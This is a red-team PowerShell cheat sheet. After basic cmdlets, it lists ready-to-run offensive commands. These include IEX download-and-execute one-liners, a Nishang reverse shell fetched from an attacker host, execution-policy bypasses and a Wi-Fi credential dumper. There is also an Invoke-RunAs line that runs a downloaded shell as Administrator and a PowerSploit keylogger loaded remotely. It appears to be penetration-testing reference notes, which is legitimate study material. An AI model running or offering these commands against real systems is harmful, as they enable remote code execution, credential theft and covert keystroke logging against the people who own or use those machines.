PowerShell

​RedTeam_CheatSheet.ps1 · GitHub​
Basic commands
Help
Get-Help <command> -Detailed
Display all properties
<command> | Select-Object -Property *
<command> | Select *
Get file contents (like type or cat which is actually available as an alias, I guess)
Get-Content <file>
Delete directory recursive
Remove-Item -Recurse -Force <dir>
Write output to file
<command> | Out-File <file>
Count
(<command>).Count
Measures (Count, Avg, etc.)
<command> | Measure-Object
Whoami
whoami /all
-> SeImpersonatePrivilege (Potato exploits, PrintSpoofer, etc.)
Download file
IEX(New-Object Net.WebClient).downloadString('<url>')`
or
IEX(IWR('<url>'))
Check architecture
[environment]::Is64BitOperatingSystem
[environment]::Is64BitProcess
64bit PowerShell path
C:\Windows\SysNative\WindowsPowerShell\v1.0\PowerShell
Base64 encode file
$fc = Get-Content "filename"
$fe = [System.Text.Encoding]::UTF8.GetBytes($fc)
[System.Convert]::ToBase64String($fe)
Nishang
Offensive PowerShell for red team, penetration testing and offensive security.
GitHub - samratashok/nishang​
Gather information
powershell -ExecutionPolicy bypass -file Get-Information.ps1 > results.txt
Get wifi creds
.\Get-WLAN-Keys.ps1
Reverse shell
/usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1
-> Append Invoke-PowerShellTcp -Reverse -IPAddress <ip> -Port <port> to Invoke-PowerShellTcp.ps1 to automatically execute the shell
Remote execution
powershell IEX (New-Object System.Net.WebClient).DownloadString('http://<ip>/Invoke-PowerShellTcp.ps1')
powershell -NoProfile -ExecutionPolicy unrestricted -Command IEX (New-Object System.Net.WebClient).DownloadString('http://<ip>/Invoke-PowerShellTcp.ps1')
PowerShell-Suite
This is a collection of PowerShell utilities I put together either for fun or because I had a narrow application in mind.
GitHub - FuzzySecurity/PowerShell-Suite​
Invoke-RunAs.ps1 
Invoke-RunAs -User Administrator -Password <pw> -LogonType 0x1 -Binary c:\Windows\SysNative\WindowsPowerShell\v1.0\PowerShell.exe -Args "IEX(New-Object Net.WebClient).downloadString('http://<ip>/shell.ps1')"
-> Put at the bottom of Invoke-RunAs.ps1, if not working otherwise
Keylogger
IEX (New-Object Net.WebClient).DownloadString('https://raw.github.com/mattifestation/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1)
Get-Keystrokes -LogPath C:\key.log -CollectionInterval 1

Last modified 9mo ago